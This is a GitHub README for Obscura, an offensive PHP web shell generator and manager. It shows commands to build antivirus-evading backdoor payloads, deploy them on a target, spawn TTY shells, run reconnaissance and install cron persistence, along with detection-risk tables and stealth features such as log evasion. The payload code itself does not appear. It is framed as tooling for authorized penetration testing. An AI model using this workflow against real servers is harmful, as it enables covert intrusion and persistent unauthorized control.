Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

0xfndlabs Obscura

A comprehensive, interactive web shell generator and management tool with stealth capabilities.

Overview

Obscura is a powerful web shell framework inspired by Weevely but with enhanced functionality, interactive CLI, and comprehensive command set. Designed for security research, penetration testing, and authorized assessments.

New Features (v1.1.0)

1. Minimal Payload Generator 🎯

  • Ultra-compact payloads for AV evasion
  • 4 payload variants: Micro (<500B), Essential (~1KB), Standard (~2.5KB), Custom
  • AV evasion analysis with heuristic scoring
  • Multiple obfuscation techniques: XOR, Base64, GZIP
  • Feature selection for custom payloads

2. TTY Spawner 🖥️

  • Full interactive TTY shells with job control
  • Multiple upgrade methods: Python pty, script, socat, netcat
  • Session management for multiple TTY sessions
  • Capability checking to determine available upgrade options
  • Background TTY processes with persistent connections

Core Features

  • Interactive CLI with tab completion and command history
  • Modular Architecture for easy command extension
  • Stealth Payloads with 5 obfuscation techniques
  • Comprehensive Command Set covering reconnaissance, file management, system interaction, and post-exploitation
  • Session Management with persistent connections
  • Brand Integration - 0xfndlabs identity throughout
  • Cross-platform PHP-based payloads

Installation

git clone https://github.com/0xfndlabs/obscura.git
cd obscura
chmod +x setup.sh
./setup.sh

Quick Start

1. Generate Payloads

# Full featured payload
./obscura.py generate --output backdoor.php --key secret_key

# Minimal payload for AV evasion (micro variant)
./obscura.py generate --output micro.php --variant micro --key secret123

# Custom payload with selected features
./obscura.py generate --output custom.php --variant custom --features cmd,file,upload --key mykey

# Essential variant (core features)
./obscura.py generate --output essential.php --variant essential --key mykey

2. Deploy to Target

Upload the generated PHP file to your target web server.

3. Connect and Use

# Connect to target
./obscura.py connect --url http://target.com/backdoor.php --key secret_key

# Once connected, use TTY features:
0xfndlabs@target.com> tty spawn          # Spawn interactive TTY
0xfndlabs@target.com> tty upgrade        # Upgrade current shell to TTY
0xfndlabs@target.com> tty list           # List active TTY sessions
0xfndlabs@target.com> tty check          # Check TTY capabilities

Advanced Usage

Minimal Payload Generator

# Analyze payload variants (in interactive mode)
./obscura.py interactive
0xfndlabs> gen_analyze

# Generate specific variants
./obscura.py generate --output micro.php --variant micro --key mykey
./obscura.py generate --output essential.php --variant essential --key mykey
./obscura.py generate --output custom.php --variant custom --features cmd,file --key mykey

# Test AV evasion (heuristic analysis)
./obscura.py interactive
0xfndlabs> modules  # Shows available commands and AV detection info

TTY Management

# Spawn new TTY sessions
0xfndlabs@target.com> tty spawn --shell /bin/bash --name mysession

# Attach to existing sessions
0xfndlabs@target.com> tty attach session_id

# Manage sessions
0xfndlabs@target.com> tty list
0xfndlabs@target.com> tty kill session_id

# Upgrade shells
0xfndlabs@target.com> tty upgrade --method python
0xfndlabs@target.com> tty upgrade --method script
0xfndlabs@target.com> tty upgrade --method socat

# Check TTY capabilities
0xfndlabs@target.com> tty check

Payload Size Comparison

Variant Size Features AV Detection Risk
Micro <500 bytes Single command execution Very Low (<5%)
Essential ~1KB Core features (cmd, eval, file, dir, info) Low (5-15%)
Standard ~2.5KB Extended features without modules Medium (15-30%)
Full ~4KB All features with modules High (30-60%)
Custom Variable User-selectable features Variable

TTY Upgrade Methods

Method Requirements Success Rate Features
Python pty Python with pty module High Full TTY, job control, tab completion
Script script command available Medium Basic TTY, limited features
Socat socat installed High Advanced, bidirectional
Netcat netcat/nc available Low Basic, no job control

Module Structure

/home/elfnd/Documents/obscura/
├── obscura.py                 # ✅ SINGLE FILE - All features integrated
├── modules/                   # Core modules
│   ├── recon.py              # Reconnaissance module
│   ├── file_manager.py       # File management module
│   ├── network.py            # Network module
│   ├── persistence.py        # Persistence module
│   ├── payload_generator.py  # ✅ Minimal payload generator
│   └── tty_spawner.py        # ✅ TTY spawner module
├── payloads/                  # Generated payloads
│   ├── test_micro.php        # Micro variant (616 bytes)
│   ├── test_full.php         # Full variant (4KB)
│   └── *.php                 # Other generated payloads
├── config.json               # Configuration
├── README.md                 # This documentation
├── DOCUMENTATION.md          # Comprehensive guide
├── EXPANSION_VECTORS.md      # ✅ Future development roadmap
└── obscura_original_backup.py # Backup of original version

Security Features

  1. Authentication - HMAC-SHA256 key validation
  2. Stealth Mode - 404 disguise for GET requests
  3. Log Evasion - Error reporting disabled
  4. AV Evasion - Multiple obfuscation techniques
  5. Session Security - Encrypted communication (planned)
  6. Input Validation - JSON validation and sanitization

Usage Examples

Penetration Test Workflow

# 1. Generate minimal payload for initial access
python3 obscura_minimal.py generate --output initial.php --variant micro --key access123

# 2. Upload to vulnerable target
# 3. Connect and assess
./obscura.py connect --url http://target.com/initial.php --key access123

# 4. Upgrade to TTY for better control
0xfndlabs@target.com> tty upgrade --method python

# 5. Reconnaissance
0xfndlabs@target.com> recon system
0xfndlabs@target.com> network info

# 6. Install persistence
0xfndlabs@target.com> persist install cron

# 7. Generate full payload for extended operations
0xfndlabs@target.com> !python3 obscura.py generate --output full.php --key master123

AV Evasion Strategy

# Use minimal variants for lower detection
./obscura.py generate --output micro.php --variant micro --key stealthkey
./obscura.py generate --output essential.php --variant essential --key stealthkey

# Use custom payload with only needed features
./obscura.py generate --output stealth.php --variant custom --features cmd,file --key stealthkey

# Analyze AV detection risk
./obscura.py interactive
0xfndlabs> gen_analyze

Testing

Local Testing Environment

# Generate test payload
python3 obscura.py generate --output test.php --key test123

# Start local PHP server
php -S localhost:8080 test.php

# Connect and test
./obscura.py connect --url http://localhost:8080/test.php --key test123

# Test TTY features
0xfndlabs@localhost> tty check
0xfndlabs@localhost> tty spawn

Module Testing

# Test minimal payload generator
python3 -c "from modules.payload_generator import MinimalPayloadGenerator; print('Generator loaded')"

# Test TTY spawner
python3 -c "from modules.tty_spawner import TTYSpawner; print('TTY spawner loaded')"

License

0xfndlabs Research License - For authorized security testing only.

Disclaimer

IMPORTANT: This tool is for:

  • Authorized security testing
  • Educational purposes
  • Research and development
  • Defense against unauthorized access

NOT for:

  • Unauthorized access to systems
  • Malicious activities
  • Violation of laws or terms of service

Always obtain proper authorization before use.

Version History

v1.1.0 (Current)

  • Minimal Payload Generator for AV evasion
  • TTY Spawner with interactive shell support
  • Enhanced documentation and examples
  • Improved AV evasion analysis
  • Multiple obfuscation techniques

v1.0.0

  • Initial release with core functionality
  • Interactive CLI with command history
  • 4 comprehensive modules
  • 5 obfuscation techniques
  • Session management

Roadmap

Planned Features

  1. Encrypted Communication - TLS/SSL support
  2. GUI Interface - Web-based management console
  3. Plugin Ecosystem - Community-developed modules
  4. Auto-Updating - Remote module updates
  5. Reporting Engine - Automated pentest reporting
  6. Multi-Protocol - Support for other backends (Python, Node.js, Go)

Built with ❤️ by 0xfndlabs Security Research Team

About

A comprehensive, interactive web shell generator and management tool with stealth capabilities.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages